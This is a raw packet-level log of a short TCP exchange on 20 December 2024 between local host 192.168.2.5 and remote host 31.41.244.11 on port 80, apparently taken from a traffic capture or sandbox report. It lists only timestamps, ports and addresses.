Dec 20, 2024 02:11:27.975658894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.975750923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.975796938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.976351976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.976409912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.976588964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.976639032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.977101088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.977154016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.977199078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.977246046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.977895021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.977941036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.978358984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.978404999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.978672028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.978717089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.978718996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.978763103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.979427099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.979479074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.979639053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.979685068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.980215073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.980264902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.980297089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.980340958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.980961084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.981038094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.981076002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.981121063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.981812000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.981823921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.981875896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.982490063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.982551098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.982601881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.982661009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.983254910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.983303070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.983366013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.983409882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.984045029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.984093904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.984107018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.984149933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.984796047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.984853983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.984894037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.984935045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.985539913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.985589027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.985666037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.985716105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.986294031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.986341000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.986362934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.986407995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.987044096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.987088919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.987107992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.987152100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.987826109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.987874031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.987920046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.987962961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.988548040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.988591909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.988761902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.988809109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.989300966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.989346027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.989447117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.989496946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.990050077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.990098000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.990392923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.990436077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.990803003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.990848064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.990880966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.990935087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.991561890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.991636992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.991702080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.991750002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.992460012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.992518902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.992559910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.992609978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.993096113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.993129015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.993154049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.993182898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.993933916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.993988037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.994070053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.994117975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.994587898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.994642973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.994797945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.994846106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.995328903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.995381117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.995415926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.995471001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.996066093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.996121883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.996153116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.996196985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.996833086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.996876955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.996885061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.996925116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.997540951 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.997596979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.997643948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.997692108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.998323917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.998373985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.998434067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.998483896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.999121904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.999175072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.999253035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.999299049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.999752998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.999804974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.000036001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.000087976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.000478029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.000528097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.000709057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.000761032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.001197100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.001250982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.001338959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.001388073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.001895905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.001975060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.149806976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.149946928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.150038958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.150124073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.150129080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.150185108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.150217056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.150279999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.150814056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.150882006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.151024103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.151083946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.151493073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.151556969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.151654005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.151715040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.152242899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.152304888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.152347088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.152403116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.152941942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.153002024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.153007984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.153069019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.153600931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.153661966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.153706074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.153760910 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.154345989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.154408932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.154418945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.154478073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.154994965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.155054092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.155092001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.155148983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.155792952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.155858994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.155879974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.155932903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.156399012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.156455040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.156516075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.156574011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.157094002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.157155037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.157233953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.157291889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.157776117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.157836914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.157923937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.157983065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.158487082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.158546925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.158565044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.158637047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.159166098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.159226894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.159275055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.159353018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.159917116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.159975052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.160046101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.160129070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.160594940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.160655022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.160681009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.160734892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.161276102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.161339998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.161364079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.161422968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.161963940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.162024021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.162070990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.162122011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.162682056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.162741899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.162744999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.162801027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.163383007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.163441896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.163465023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.163517952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.164088964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.164149046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.164186954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.164242029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.164793015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.164858103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.164926052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.164985895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.165458918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.165518999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.165561914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.165622950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.166134119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.166197062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.166239023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.166301966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.166852951 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.166912079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.166955948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.167011976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.167529106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.167589903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.167634964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.167695999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.168220997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.168282986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.168443918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.168520927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.168936014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.168994904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.169037104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.169092894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.169652939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.169711113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.169749022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.169802904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.170375109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.170386076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.170464993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.171021938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.171082973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.171273947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.171350956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.171736956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.171813965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.171844006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.171905994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.172419071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.172482014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.172550917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.172609091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.173115969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.173175097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.173213959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.173269987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.173851967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.173907995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.173952103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.174014091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.174510956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.174566031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.174611092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.174669027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.175200939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.175256968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.175400019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.175461054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.175919056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.175983906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.176000118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.176064968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.176609993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.176665068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.176731110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.176789045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.177304983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.177362919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.177459002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.177520990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.177993059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.178051949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.178093910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.178150892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.178705931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.178762913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.178915977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.178973913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.179394007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.179461002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.179507017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.179563046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.180109978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.180180073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.180202961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.180273056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.180790901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.180880070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.180907965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.180970907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.181483984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.181550980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.181605101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.181660891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.182187080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.182249069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.182293892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.182367086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.182914019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.182976007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.183023930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.183084011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.183573008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.183634043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.183681011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.183734894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.184278965 CET	80	49875	31.41.244.11	192.168.2.5
